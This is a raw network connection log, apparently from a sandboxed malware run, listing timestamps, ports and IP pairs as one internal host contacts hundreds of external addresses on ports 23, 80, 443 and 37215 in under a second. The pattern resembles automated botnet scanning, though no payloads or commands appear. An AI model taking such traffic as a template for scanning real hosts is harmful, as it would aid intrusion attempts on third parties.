Dec 27, 2024 05:02:51.745208979 CET	23	14219	183.59.87.255	192.168.2.23
Dec 27, 2024 05:02:51.745209932 CET	14219	23	192.168.2.23	133.45.118.9
Dec 27, 2024 05:02:51.745217085 CET	14219	23	192.168.2.23	126.225.96.146
Dec 27, 2024 05:02:51.745219946 CET	14219	23	192.168.2.23	52.198.197.231
Dec 27, 2024 05:02:51.745228052 CET	23	14219	58.1.61.123	192.168.2.23
Dec 27, 2024 05:02:51.745246887 CET	23	14219	40.192.209.93	192.168.2.23
Dec 27, 2024 05:02:51.745255947 CET	23	14219	87.132.190.244	192.168.2.23
Dec 27, 2024 05:02:51.745265961 CET	23	14219	73.129.139.92	192.168.2.23
Dec 27, 2024 05:02:51.745275021 CET	23	14219	139.75.8.57	192.168.2.23
Dec 27, 2024 05:02:51.745286942 CET	14219	23	192.168.2.23	183.59.87.255
Dec 27, 2024 05:02:51.745289087 CET	14219	23	192.168.2.23	58.1.61.123
Dec 27, 2024 05:02:51.745295048 CET	14219	23	192.168.2.23	40.192.209.93
Dec 27, 2024 05:02:51.745302916 CET	14219	23	192.168.2.23	139.75.8.57
Dec 27, 2024 05:02:51.745304108 CET	14219	23	192.168.2.23	73.129.139.92
Dec 27, 2024 05:02:51.745304108 CET	14219	23	192.168.2.23	87.132.190.244
Dec 27, 2024 05:02:51.745471001 CET	23	14219	132.149.227.149	192.168.2.23
Dec 27, 2024 05:02:51.745481014 CET	23	14219	88.222.231.220	192.168.2.23
Dec 27, 2024 05:02:51.745496988 CET	23	14219	92.224.26.138	192.168.2.23
Dec 27, 2024 05:02:51.745506048 CET	23	14219	175.240.23.52	192.168.2.23
Dec 27, 2024 05:02:51.745516062 CET	23	14219	135.233.66.48	192.168.2.23
Dec 27, 2024 05:02:51.745524883 CET	14219	23	192.168.2.23	92.224.26.138
Dec 27, 2024 05:02:51.745526075 CET	23	14219	117.34.6.20	192.168.2.23
Dec 27, 2024 05:02:51.745534897 CET	23	14219	118.118.157.97	192.168.2.23
Dec 27, 2024 05:02:51.745543957 CET	14219	23	192.168.2.23	175.240.23.52
Dec 27, 2024 05:02:51.745543957 CET	23	14219	147.222.20.8	192.168.2.23
Dec 27, 2024 05:02:51.745548010 CET	14219	23	192.168.2.23	88.222.231.220
Dec 27, 2024 05:02:51.745549917 CET	14219	23	192.168.2.23	132.149.227.149
Dec 27, 2024 05:02:51.745553970 CET	14219	23	192.168.2.23	135.233.66.48
Dec 27, 2024 05:02:51.745554924 CET	23	14219	155.251.54.234	192.168.2.23
Dec 27, 2024 05:02:51.745559931 CET	14219	23	192.168.2.23	117.34.6.20
Dec 27, 2024 05:02:51.745565891 CET	23	14219	99.90.117.75	192.168.2.23
Dec 27, 2024 05:02:51.745573044 CET	14219	23	192.168.2.23	118.118.157.97
Dec 27, 2024 05:02:51.745575905 CET	23	14219	40.114.187.71	192.168.2.23
Dec 27, 2024 05:02:51.745585918 CET	23	14219	198.32.92.156	192.168.2.23
Dec 27, 2024 05:02:51.745593071 CET	14219	23	192.168.2.23	155.251.54.234
Dec 27, 2024 05:02:51.745593071 CET	14219	23	192.168.2.23	147.222.20.8
Dec 27, 2024 05:02:51.745594978 CET	23	14219	206.57.154.161	192.168.2.23
Dec 27, 2024 05:02:51.745606899 CET	14219	23	192.168.2.23	99.90.117.75
Dec 27, 2024 05:02:51.745615959 CET	14219	23	192.168.2.23	40.114.187.71
Dec 27, 2024 05:02:51.745615959 CET	14219	23	192.168.2.23	198.32.92.156
Dec 27, 2024 05:02:51.745657921 CET	14219	23	192.168.2.23	206.57.154.161
Dec 27, 2024 05:02:51.773298025 CET	80	14220	103.219.33.114	192.168.2.23
Dec 27, 2024 05:02:51.773308039 CET	80	14220	158.96.36.123	192.168.2.23
Dec 27, 2024 05:02:51.773317099 CET	80	14220	182.0.94.73	192.168.2.23
Dec 27, 2024 05:02:51.773367882 CET	14220	80	192.168.2.23	158.96.36.123
Dec 27, 2024 05:02:51.773367882 CET	14220	80	192.168.2.23	103.219.33.114
Dec 27, 2024 05:02:51.773376942 CET	14220	80	192.168.2.23	182.0.94.73
Dec 27, 2024 05:02:51.784792900 CET	37215	14256	156.165.148.158	192.168.2.23
Dec 27, 2024 05:02:51.784838915 CET	14256	37215	192.168.2.23	156.165.148.158
Dec 27, 2024 05:02:51.821341038 CET	50634	443	192.168.2.23	178.153.133.249
Dec 27, 2024 05:02:51.821358919 CET	443	50634	178.153.133.249	192.168.2.23
Dec 27, 2024 05:02:51.821477890 CET	14257	443	192.168.2.23	148.33.91.34
Dec 27, 2024 05:02:51.821477890 CET	50634	443	192.168.2.23	178.153.133.249
Dec 27, 2024 05:02:51.821485996 CET	14257	443	192.168.2.23	202.175.226.58
Dec 27, 2024 05:02:51.821485996 CET	14257	443	192.168.2.23	210.63.255.157
Dec 27, 2024 05:02:51.821487904 CET	443	14257	148.33.91.34	192.168.2.23
Dec 27, 2024 05:02:51.821506023 CET	443	14257	202.175.226.58	192.168.2.23
Dec 27, 2024 05:02:51.821511030 CET	14257	443	192.168.2.23	210.120.206.61
Dec 27, 2024 05:02:51.821511030 CET	14257	443	192.168.2.23	79.114.3.123
Dec 27, 2024 05:02:51.821511030 CET	14257	443	192.168.2.23	212.71.159.133
Dec 27, 2024 05:02:51.821513891 CET	14257	443	192.168.2.23	109.79.221.72
Dec 27, 2024 05:02:51.821517944 CET	443	14257	210.63.255.157	192.168.2.23
Dec 27, 2024 05:02:51.821521997 CET	14257	443	192.168.2.23	148.33.91.34
Dec 27, 2024 05:02:51.821532965 CET	14257	443	192.168.2.23	118.43.186.246
Dec 27, 2024 05:02:51.821533918 CET	443	14257	210.120.206.61	192.168.2.23
Dec 27, 2024 05:02:51.821536064 CET	443	14257	79.114.3.123	192.168.2.23
Dec 27, 2024 05:02:51.821536064 CET	14257	443	192.168.2.23	5.87.128.152
Dec 27, 2024 05:02:51.821536064 CET	14257	443	192.168.2.23	123.175.246.56
Dec 27, 2024 05:02:51.821536064 CET	14257	443	192.168.2.23	202.194.164.14
Dec 27, 2024 05:02:51.821544886 CET	443	14257	212.71.159.133	192.168.2.23
Dec 27, 2024 05:02:51.821554899 CET	14257	443	192.168.2.23	117.12.3.55
Dec 27, 2024 05:02:51.821554899 CET	14257	443	192.168.2.23	123.25.138.63
Dec 27, 2024 05:02:51.821556091 CET	14257	443	192.168.2.23	210.63.255.157
Dec 27, 2024 05:02:51.821556091 CET	14257	443	192.168.2.23	79.109.226.85
Dec 27, 2024 05:02:51.821556091 CET	443	14257	5.87.128.152	192.168.2.23
Dec 27, 2024 05:02:51.821558952 CET	443	14257	118.43.186.246	192.168.2.23
Dec 27, 2024 05:02:51.821564913 CET	443	14257	123.175.246.56	192.168.2.23
Dec 27, 2024 05:02:51.821566105 CET	14257	443	192.168.2.23	202.175.226.58
Dec 27, 2024 05:02:51.821568012 CET	443	14257	79.109.226.85	192.168.2.23
Dec 27, 2024 05:02:51.821571112 CET	14257	443	192.168.2.23	123.22.2.130
Dec 27, 2024 05:02:51.821571112 CET	14257	443	192.168.2.23	94.239.40.54
Dec 27, 2024 05:02:51.821573973 CET	14257	443	192.168.2.23	79.114.3.123
Dec 27, 2024 05:02:51.821573973 CET	443	14257	202.194.164.14	192.168.2.23
Dec 27, 2024 05:02:51.821578979 CET	14257	443	192.168.2.23	202.125.36.161
Dec 27, 2024 05:02:51.821579933 CET	14257	443	192.168.2.23	148.46.80.73
Dec 27, 2024 05:02:51.821580887 CET	443	14257	117.12.3.55	192.168.2.23
Dec 27, 2024 05:02:51.821580887 CET	14257	443	192.168.2.23	117.25.69.207
Dec 27, 2024 05:02:51.821578979 CET	14257	443	192.168.2.23	210.120.206.61
Dec 27, 2024 05:02:51.821580887 CET	14257	443	192.168.2.23	212.71.159.133
Dec 27, 2024 05:02:51.821579933 CET	14257	443	192.168.2.23	148.205.226.26
Dec 27, 2024 05:02:51.821584940 CET	443	14257	109.79.221.72	192.168.2.23
Dec 27, 2024 05:02:51.821588993 CET	14257	443	192.168.2.23	37.233.84.214
Dec 27, 2024 05:02:51.821600914 CET	14257	443	192.168.2.23	5.87.128.152
Dec 27, 2024 05:02:51.821600914 CET	14257	443	192.168.2.23	118.223.127.130
Dec 27, 2024 05:02:51.821603060 CET	14257	443	192.168.2.23	94.142.45.23
Dec 27, 2024 05:02:51.821604013 CET	14257	443	192.168.2.23	118.43.186.246
Dec 27, 2024 05:02:51.821604967 CET	14257	443	192.168.2.23	79.109.226.85
Dec 27, 2024 05:02:51.821609974 CET	14257	443	192.168.2.23	118.178.104.129
Dec 27, 2024 05:02:51.821610928 CET	14257	443	192.168.2.23	123.175.246.56
Dec 27, 2024 05:02:51.821610928 CET	14257	443	192.168.2.23	202.194.164.14
Dec 27, 2024 05:02:51.821616888 CET	14257	443	192.168.2.23	2.4.136.164
Dec 27, 2024 05:02:51.821616888 CET	14257	443	192.168.2.23	42.18.49.58
Dec 27, 2024 05:02:51.821623087 CET	14257	443	192.168.2.23	117.12.3.55
Dec 27, 2024 05:02:51.821635962 CET	14257	443	192.168.2.23	212.48.230.239
Dec 27, 2024 05:02:51.821640015 CET	14257	443	192.168.2.23	109.79.221.72
Dec 27, 2024 05:02:51.821644068 CET	14257	443	192.168.2.23	210.205.113.197
Dec 27, 2024 05:02:51.821644068 CET	14257	443	192.168.2.23	123.209.249.116
Dec 27, 2024 05:02:51.821644068 CET	14257	443	192.168.2.23	202.51.247.71
Dec 27, 2024 05:02:51.821645021 CET	14257	443	192.168.2.23	148.246.45.150
Dec 27, 2024 05:02:51.821645021 CET	14257	443	192.168.2.23	42.86.174.94
Dec 27, 2024 05:02:51.821646929 CET	14257	443	192.168.2.23	118.15.72.83
Dec 27, 2024 05:02:51.821646929 CET	14257	443	192.168.2.23	212.46.194.42
Dec 27, 2024 05:02:51.821662903 CET	14257	443	192.168.2.23	178.127.94.37
Dec 27, 2024 05:02:51.821666002 CET	14257	443	192.168.2.23	202.235.108.254
Dec 27, 2024 05:02:51.821671009 CET	14257	443	192.168.2.23	148.75.65.68
Dec 27, 2024 05:02:51.821676016 CET	14257	443	192.168.2.23	5.3.171.77
Dec 27, 2024 05:02:51.821680069 CET	14257	443	192.168.2.23	210.253.102.178
Dec 27, 2024 05:02:51.821680069 CET	14257	443	192.168.2.23	148.151.113.10
Dec 27, 2024 05:02:51.821680069 CET	14257	443	192.168.2.23	202.218.184.102
Dec 27, 2024 05:02:51.821681023 CET	14257	443	192.168.2.23	178.227.55.153
Dec 27, 2024 05:02:51.821681023 CET	14257	443	192.168.2.23	94.195.96.161
Dec 27, 2024 05:02:51.821698904 CET	14257	443	192.168.2.23	178.69.240.151
Dec 27, 2024 05:02:51.821702003 CET	14257	443	192.168.2.23	117.44.151.249
Dec 27, 2024 05:02:51.821702003 CET	14257	443	192.168.2.23	5.143.65.174
Dec 27, 2024 05:02:51.821706057 CET	14257	443	192.168.2.23	79.167.136.115
Dec 27, 2024 05:02:51.821707010 CET	14257	443	192.168.2.23	148.219.81.54
Dec 27, 2024 05:02:51.821721077 CET	14257	443	192.168.2.23	210.42.177.159
Dec 27, 2024 05:02:51.821722031 CET	14257	443	192.168.2.23	117.205.11.40
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	117.243.3.126
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	37.66.115.191
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	109.55.203.78
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	117.129.160.253
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	212.110.177.91
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	123.135.238.183
Dec 27, 2024 05:02:51.821724892 CET	14257	443	192.168.2.23	79.33.245.231
Dec 27, 2024 05:02:51.821746111 CET	14257	443	192.168.2.23	178.92.17.197
Dec 27, 2024 05:02:51.821749926 CET	14257	443	192.168.2.23	37.33.34.94
Dec 27, 2024 05:02:51.821749926 CET	14257	443	192.168.2.23	79.67.176.49
Dec 27, 2024 05:02:51.821753025 CET	14257	443	192.168.2.23	178.233.191.97
Dec 27, 2024 05:02:51.821753025 CET	14257	443	192.168.2.23	210.217.215.191
Dec 27, 2024 05:02:51.821753025 CET	14257	443	192.168.2.23	79.200.252.22
Dec 27, 2024 05:02:51.821753979 CET	14257	443	192.168.2.23	42.217.88.111
Dec 27, 2024 05:02:51.821753025 CET	14257	443	192.168.2.23	109.156.149.219
Dec 27, 2024 05:02:51.821758032 CET	14257	443	192.168.2.23	117.114.125.39
Dec 27, 2024 05:02:51.821755886 CET	14257	443	192.168.2.23	109.70.39.177
Dec 27, 2024 05:02:51.821755886 CET	14257	443	192.168.2.23	118.26.95.178
Dec 27, 2024 05:02:51.821763039 CET	14257	443	192.168.2.23	5.5.30.89
Dec 27, 2024 05:02:51.821764946 CET	14257	443	192.168.2.23	117.23.102.124
Dec 27, 2024 05:02:51.821764946 CET	14257	443	192.168.2.23	118.80.31.23
Dec 27, 2024 05:02:51.821764946 CET	14257	443	192.168.2.23	79.13.30.77
Dec 27, 2024 05:02:51.821772099 CET	14257	443	192.168.2.23	117.41.242.51
Dec 27, 2024 05:02:51.821783066 CET	14257	443	192.168.2.23	118.83.245.197
Dec 27, 2024 05:02:51.821787119 CET	14257	443	192.168.2.23	210.39.190.160
Dec 27, 2024 05:02:51.821789026 CET	14257	443	192.168.2.23	5.242.25.227
Dec 27, 2024 05:02:51.821789026 CET	14257	443	192.168.2.23	37.7.227.218
Dec 27, 2024 05:02:51.821789026 CET	14257	443	192.168.2.23	109.67.17.142
Dec 27, 2024 05:02:51.821791887 CET	14257	443	192.168.2.23	202.154.246.91
Dec 27, 2024 05:02:51.821793079 CET	14257	443	192.168.2.23	178.187.54.165
Dec 27, 2024 05:02:51.821794033 CET	14257	443	192.168.2.23	2.251.204.142
Dec 27, 2024 05:02:51.821810961 CET	14257	443	192.168.2.23	117.147.254.110
Dec 27, 2024 05:02:51.821811914 CET	14257	443	192.168.2.23	2.57.224.54
Dec 27, 2024 05:02:51.821811914 CET	14257	443	192.168.2.23	123.126.168.198
Dec 27, 2024 05:02:51.821811914 CET	14257	443	192.168.2.23	202.36.180.123
Dec 27, 2024 05:02:51.821811914 CET	14257	443	192.168.2.23	212.219.207.81
Dec 27, 2024 05:02:51.821818113 CET	14257	443	192.168.2.23	117.40.205.40
Dec 27, 2024 05:02:51.821820974 CET	14257	443	192.168.2.23	42.133.59.152
Dec 27, 2024 05:02:51.821821928 CET	14257	443	192.168.2.23	37.159.111.175
Dec 27, 2024 05:02:51.821821928 CET	14257	443	192.168.2.23	37.169.89.221
Dec 27, 2024 05:02:51.821839094 CET	14257	443	192.168.2.23	2.251.195.203
Dec 27, 2024 05:02:51.821839094 CET	14257	443	192.168.2.23	79.102.233.177
Dec 27, 2024 05:02:51.821840048 CET	14257	443	192.168.2.23	94.255.88.6
Dec 27, 2024 05:02:51.821841002 CET	14257	443	192.168.2.23	202.200.122.211
Dec 27, 2024 05:02:51.821841002 CET	14257	443	192.168.2.23	148.86.131.49
Dec 27, 2024 05:02:51.821841002 CET	14257	443	192.168.2.23	118.237.98.3
Dec 27, 2024 05:02:51.821841002 CET	14257	443	192.168.2.23	212.182.255.229
Dec 27, 2024 05:02:51.821844101 CET	14257	443	192.168.2.23	148.196.89.42
Dec 27, 2024 05:02:51.821850061 CET	14257	443	192.168.2.23	79.26.216.56
Dec 27, 2024 05:02:51.821851015 CET	14257	443	192.168.2.23	212.151.35.49
Dec 27, 2024 05:02:51.821851015 CET	14257	443	192.168.2.23	5.129.42.251
Dec 27, 2024 05:02:51.821866989 CET	14257	443	192.168.2.23	212.71.47.161
Dec 27, 2024 05:02:51.821867943 CET	14257	443	192.168.2.23	94.43.190.104
Dec 27, 2024 05:02:51.821883917 CET	14257	443	192.168.2.23	178.179.229.85
Dec 27, 2024 05:02:51.821883917 CET	14257	443	192.168.2.23	123.52.99.246
Dec 27, 2024 05:02:51.821887016 CET	14257	443	192.168.2.23	210.8.100.196
Dec 27, 2024 05:02:51.821887016 CET	14257	443	192.168.2.23	212.245.53.26
Dec 27, 2024 05:02:51.821887970 CET	14257	443	192.168.2.23	148.85.101.13
Dec 27, 2024 05:02:51.821887016 CET	14257	443	192.168.2.23	202.7.29.112
Dec 27, 2024 05:02:51.821888924 CET	14257	443	192.168.2.23	123.237.151.45
Dec 27, 2024 05:02:51.821887970 CET	14257	443	192.168.2.23	2.18.222.78
Dec 27, 2024 05:02:51.821896076 CET	14257	443	192.168.2.23	178.152.228.41
Dec 27, 2024 05:02:51.821898937 CET	14257	443	192.168.2.23	5.214.38.147
Dec 27, 2024 05:02:51.821902037 CET	14257	443	192.168.2.23	123.18.27.218
Dec 27, 2024 05:02:51.821912050 CET	14257	443	192.168.2.23	210.30.106.26
Dec 27, 2024 05:02:51.821913004 CET	14257	443	192.168.2.23	5.87.118.169
Dec 27, 2024 05:02:51.821913004 CET	14257	443	192.168.2.23	123.248.67.163
Dec 27, 2024 05:02:51.821913004 CET	14257	443	192.168.2.23	94.148.170.221
Dec 27, 2024 05:02:51.821913958 CET	14257	443	192.168.2.23	148.182.196.154
Dec 27, 2024 05:02:51.821928978 CET	14257	443	192.168.2.23	118.163.154.208
Dec 27, 2024 05:02:51.821928978 CET	14257	443	192.168.2.23	2.83.166.248
Dec 27, 2024 05:02:51.821928978 CET	14257	443	192.168.2.23	210.214.23.231
Dec 27, 2024 05:02:51.821934938 CET	14257	443	192.168.2.23	94.133.43.88
Dec 27, 2024 05:02:51.821934938 CET	14257	443	192.168.2.23	42.7.2.62
Dec 27, 2024 05:02:51.821940899 CET	14257	443	192.168.2.23	37.159.188.14
Dec 27, 2024 05:02:51.821940899 CET	14257	443	192.168.2.23	117.247.103.38
Dec 27, 2024 05:02:51.821950912 CET	14257	443	192.168.2.23	210.241.217.215
Dec 27, 2024 05:02:51.821952105 CET	14257	443	192.168.2.23	37.252.171.187
Dec 27, 2024 05:02:51.821952105 CET	14257	443	192.168.2.23	148.138.38.84
Dec 27, 2024 05:02:51.821952105 CET	14257	443	192.168.2.23	109.155.1.246
Dec 27, 2024 05:02:51.821953058 CET	14257	443	192.168.2.23	148.133.156.231
Dec 27, 2024 05:02:51.821953058 CET	14257	443	192.168.2.23	109.163.187.69
Dec 27, 2024 05:02:51.821969986 CET	14257	443	192.168.2.23	79.144.105.215
Dec 27, 2024 05:02:51.821971893 CET	14257	443	192.168.2.23	148.58.222.50
Dec 27, 2024 05:02:51.821974993 CET	14257	443	192.168.2.23	118.163.180.206
Dec 27, 2024 05:02:51.821974993 CET	14257	443	192.168.2.23	123.106.65.154
Dec 27, 2024 05:02:51.821974993 CET	14257	443	192.168.2.23	2.54.33.221
Dec 27, 2024 05:02:51.821976900 CET	14257	443	192.168.2.23	5.44.200.246
Dec 27, 2024 05:02:51.821976900 CET	14257	443	192.168.2.23	37.13.56.198
Dec 27, 2024 05:02:51.821985960 CET	14257	443	192.168.2.23	210.105.80.107
Dec 27, 2024 05:02:51.821986914 CET	14257	443	192.168.2.23	210.168.203.68
Dec 27, 2024 05:02:51.821997881 CET	14257	443	192.168.2.23	42.82.6.118
Dec 27, 2024 05:02:51.821997881 CET	14257	443	192.168.2.23	178.198.194.37
Dec 27, 2024 05:02:51.822000027 CET	14257	443	192.168.2.23	212.207.27.45
Dec 27, 2024 05:02:51.822004080 CET	14257	443	192.168.2.23	79.222.98.182
Dec 27, 2024 05:02:51.822004080 CET	14257	443	192.168.2.23	118.218.30.18
Dec 27, 2024 05:02:51.822010994 CET	14257	443	192.168.2.23	148.64.217.228
Dec 27, 2024 05:02:51.822011948 CET	14257	443	192.168.2.23	94.163.79.81
Dec 27, 2024 05:02:51.822012901 CET	14257	443	192.168.2.23	210.37.10.36
Dec 27, 2024 05:02:51.822012901 CET	14257	443	192.168.2.23	210.244.61.16
Dec 27, 2024 05:02:51.822019100 CET	14257	443	192.168.2.23	178.219.78.175
Dec 27, 2024 05:02:51.822019100 CET	14257	443	192.168.2.23	109.161.31.102
Dec 27, 2024 05:02:51.822020054 CET	14257	443	192.168.2.23	94.176.252.6
Dec 27, 2024 05:02:51.822020054 CET	14257	443	192.168.2.23	117.102.225.139
Dec 27, 2024 05:02:51.822020054 CET	14257	443	192.168.2.23	5.33.157.47
Dec 27, 2024 05:02:51.822021961 CET	14257	443	192.168.2.23	212.159.223.33
Dec 27, 2024 05:02:51.822027922 CET	14257	443	192.168.2.23	79.28.192.168
Dec 27, 2024 05:02:51.822027922 CET	14257	443	192.168.2.23	109.123.189.39
Dec 27, 2024 05:02:51.822041035 CET	14257	443	192.168.2.23	2.106.197.243
Dec 27, 2024 05:02:51.822043896 CET	14257	443	192.168.2.23	123.211.239.26
Dec 27, 2024 05:02:51.822052002 CET	14257	443	192.168.2.23	210.20.78.158
Dec 27, 2024 05:02:51.822052956 CET	14257	443	192.168.2.23	5.126.62.3
Dec 27, 2024 05:02:51.822052956 CET	14257	443	192.168.2.23	5.137.155.59
Dec 27, 2024 05:02:51.822053909 CET	14257	443	192.168.2.23	109.202.28.147
Dec 27, 2024 05:02:51.822055101 CET	14257	443	192.168.2.23	210.99.32.209
Dec 27, 2024 05:02:51.822065115 CET	14257	443	192.168.2.23	117.150.140.17
Dec 27, 2024 05:02:51.822067976 CET	14257	443	192.168.2.23	212.235.222.169
Dec 27, 2024 05:02:51.822067976 CET	14257	443	192.168.2.23	94.2.145.246
Dec 27, 2024 05:02:51.822074890 CET	14257	443	192.168.2.23	202.41.220.98
Dec 27, 2024 05:02:51.822074890 CET	14257	443	192.168.2.23	2.215.216.46
Dec 27, 2024 05:02:51.822082996 CET	14257	443	192.168.2.23	79.104.141.203
Dec 27, 2024 05:02:51.822082996 CET	14257	443	192.168.2.23	117.119.71.121
Dec 27, 2024 05:02:51.822093964 CET	14257	443	192.168.2.23	5.126.5.29
Dec 27, 2024 05:02:51.822097063 CET	14257	443	192.168.2.23	109.129.124.136
Dec 27, 2024 05:02:51.822098970 CET	14257	443	192.168.2.23	42.60.202.175
Dec 27, 2024 05:02:51.822098970 CET	14257	443	192.168.2.23	212.233.66.60
Dec 27, 2024 05:02:51.822103977 CET	14257	443	192.168.2.23	94.237.17.187
Dec 27, 2024 05:02:51.822103977 CET	14257	443	192.168.2.23	117.242.94.16
Dec 27, 2024 05:02:51.822108030 CET	14257	443	192.168.2.23	117.197.64.87
Dec 27, 2024 05:02:51.822108984 CET	14257	443	192.168.2.23	2.121.236.72
Dec 27, 2024 05:02:51.822108984 CET	14257	443	192.168.2.23	117.228.85.248
Dec 27, 2024 05:02:51.822113037 CET	14257	443	192.168.2.23	109.214.141.31
Dec 27, 2024 05:02:51.822117090 CET	14257	443	192.168.2.23	79.217.178.250
Dec 27, 2024 05:02:51.822117090 CET	14257	443	192.168.2.23	79.38.31.82
Dec 27, 2024 05:02:51.822118044 CET	14257	443	192.168.2.23	178.88.90.196
Dec 27, 2024 05:02:51.822125912 CET	14257	443	192.168.2.23	2.193.13.85
Dec 27, 2024 05:02:51.822125912 CET	14257	443	192.168.2.23	118.96.182.134
Dec 27, 2024 05:02:51.822134018 CET	14257	443	192.168.2.23	5.203.79.123
Dec 27, 2024 05:02:51.822141886 CET	14257	443	192.168.2.23	94.34.228.244
Dec 27, 2024 05:02:51.822141886 CET	14257	443	192.168.2.23	148.199.144.56
Dec 27, 2024 05:02:51.822145939 CET	14257	443	192.168.2.23	2.15.39.155
Dec 27, 2024 05:02:51.822145939 CET	14257	443	192.168.2.23	5.148.85.1
Dec 27, 2024 05:02:51.822160006 CET	14257	443	192.168.2.23	2.170.71.79
Dec 27, 2024 05:02:51.822160006 CET	14257	443	192.168.2.23	202.255.23.117
Dec 27, 2024 05:02:51.822160006 CET	14257	443	192.168.2.23	178.115.1.253
Dec 27, 2024 05:02:51.822160959 CET	14257	443	192.168.2.23	118.216.145.201
Dec 27, 2024 05:02:51.822160006 CET	14257	443	192.168.2.23	94.194.246.252
Dec 27, 2024 05:02:51.822160959 CET	14257	443	192.168.2.23	37.2.13.70
Dec 27, 2024 05:02:51.822165012 CET	14257	443	192.168.2.23	79.121.148.8
Dec 27, 2024 05:02:51.822165012 CET	14257	443	192.168.2.23	118.104.18.247
Dec 27, 2024 05:02:51.822165012 CET	14257	443	192.168.2.23	148.83.176.168
Dec 27, 2024 05:02:51.822170973 CET	14257	443	192.168.2.23	118.169.234.19
Dec 27, 2024 05:02:51.822170973 CET	14257	443	192.168.2.23	79.159.157.21
Dec 27, 2024 05:02:51.822184086 CET	14257	443	192.168.2.23	202.59.210.71
Dec 27, 2024 05:02:51.822185040 CET	14257	443	192.168.2.23	37.187.224.118
Dec 27, 2024 05:02:51.822185040 CET	14257	443	192.168.2.23	118.226.149.29
Dec 27, 2024 05:02:51.822189093 CET	14257	443	192.168.2.23	109.10.171.30
Dec 27, 2024 05:02:51.822189093 CET	14257	443	192.168.2.23	94.133.183.225
Dec 27, 2024 05:02:51.822190046 CET	14257	443	192.168.2.23	123.109.253.251
Dec 27, 2024 05:02:51.822202921 CET	14257	443	192.168.2.23	2.166.171.230
Dec 27, 2024 05:02:51.822202921 CET	14257	443	192.168.2.23	202.53.248.214
Dec 27, 2024 05:02:51.822204113 CET	14257	443	192.168.2.23	212.143.227.245
Dec 27, 2024 05:02:51.822204113 CET	14257	443	192.168.2.23	5.37.208.197
Dec 27, 2024 05:02:51.822216988 CET	14257	443	192.168.2.23	5.126.82.79
Dec 27, 2024 05:02:51.822217941 CET	14257	443	192.168.2.23	210.80.63.16
Dec 27, 2024 05:02:51.822217941 CET	14257	443	192.168.2.23	178.190.35.190
Dec 27, 2024 05:02:51.822218895 CET	14257	443	192.168.2.23	5.247.234.19
Dec 27, 2024 05:02:51.822218895 CET	14257	443	192.168.2.23	118.230.178.196
Dec 27, 2024 05:02:51.822218895 CET	14257	443	192.168.2.23	94.179.35.255
Dec 27, 2024 05:02:51.822220087 CET	14257	443	192.168.2.23	123.152.107.37
Dec 27, 2024 05:02:51.822225094 CET	14257	443	192.168.2.23	178.44.39.194
Dec 27, 2024 05:02:51.822237015 CET	14257	443	192.168.2.23	2.68.63.82
Dec 27, 2024 05:02:51.822238922 CET	14257	443	192.168.2.23	79.54.227.234
Dec 27, 2024 05:02:51.822243929 CET	14257	443	192.168.2.23	202.3.148.119
Dec 27, 2024 05:02:51.822243929 CET	14257	443	192.168.2.23	2.135.130.157
Dec 27, 2024 05:02:51.822244883 CET	14257	443	192.168.2.23	210.250.254.45
Dec 27, 2024 05:02:51.822247028 CET	14257	443	192.168.2.23	210.171.135.229
Dec 27, 2024 05:02:51.822247028 CET	14257	443	192.168.2.23	210.171.165.209
Dec 27, 2024 05:02:51.822251081 CET	14257	443	192.168.2.23	109.214.226.229
Dec 27, 2024 05:02:51.822252989 CET	14257	443	192.168.2.23	94.91.243.55
Dec 27, 2024 05:02:51.822253942 CET	14257	443	192.168.2.23	210.222.1.239
Dec 27, 2024 05:02:51.822257996 CET	14257	443	192.168.2.23	148.18.79.203
Dec 27, 2024 05:02:51.822283983 CET	14257	443	192.168.2.23	2.156.255.206
Dec 27, 2024 05:02:51.822285891 CET	14257	443	192.168.2.23	210.127.63.250
Dec 27, 2024 05:02:51.822285891 CET	14257	443	192.168.2.23	37.220.188.116
Dec 27, 2024 05:02:51.822287083 CET	14257	443	192.168.2.23	109.180.223.14
Dec 27, 2024 05:02:51.822288990 CET	14257	443	192.168.2.23	123.129.151.188
Dec 27, 2024 05:02:51.822293043 CET	14257	443	192.168.2.23	79.54.179.40
Dec 27, 2024 05:02:51.822294950 CET	14257	443	192.168.2.23	212.249.65.212
Dec 27, 2024 05:02:51.822297096 CET	14257	443	192.168.2.23	79.71.144.148
Dec 27, 2024 05:02:51.822299004 CET	14257	443	192.168.2.23	202.153.165.218
Dec 27, 2024 05:02:51.822299957 CET	14257	443	192.168.2.23	123.110.220.227
Dec 27, 2024 05:02:51.822299004 CET	14257	443	192.168.2.23	5.132.79.36
Dec 27, 2024 05:02:51.822299957 CET	14257	443	192.168.2.23	109.222.23.113
Dec 27, 2024 05:02:51.822308064 CET	14257	443	192.168.2.23	37.106.55.129
Dec 27, 2024 05:02:51.822312117 CET	14257	443	192.168.2.23	94.174.213.115
Dec 27, 2024 05:02:51.822321892 CET	14257	443	192.168.2.23	210.158.31.81
Dec 27, 2024 05:02:51.822324038 CET	14257	443	192.168.2.23	117.147.231.170
Dec 27, 2024 05:02:51.822336912 CET	14257	443	192.168.2.23	79.29.187.67
Dec 27, 2024 05:02:51.822336912 CET	14257	443	192.168.2.23	117.27.178.164
Dec 27, 2024 05:02:51.822339058 CET	14257	443	192.168.2.23	118.89.210.204
Dec 27, 2024 05:02:51.822339058 CET	14257	443	192.168.2.23	178.202.161.116
Dec 27, 2024 05:02:51.822341919 CET	14257	443	192.168.2.23	42.78.116.27
Dec 27, 2024 05:02:51.822344065 CET	14257	443	192.168.2.23	212.147.178.169
Dec 27, 2024 05:02:51.822365046 CET	14257	443	192.168.2.23	178.40.180.123
Dec 27, 2024 05:02:51.822365999 CET	14257	443	192.168.2.23	2.164.52.27
Dec 27, 2024 05:02:51.822365999 CET	14257	443	192.168.2.23	94.53.21.195
Dec 27, 2024 05:02:51.822365999 CET	14257	443	192.168.2.23	37.221.139.105
Dec 27, 2024 05:02:51.822365999 CET	14257	443	192.168.2.23	178.229.132.153
Dec 27, 2024 05:02:51.822366953 CET	14257	443	192.168.2.23	94.252.151.250
Dec 27, 2024 05:02:51.822367907 CET	14257	443	192.168.2.23	210.92.48.76
Dec 27, 2024 05:02:51.822367907 CET	14257	443	192.168.2.23	5.39.241.52
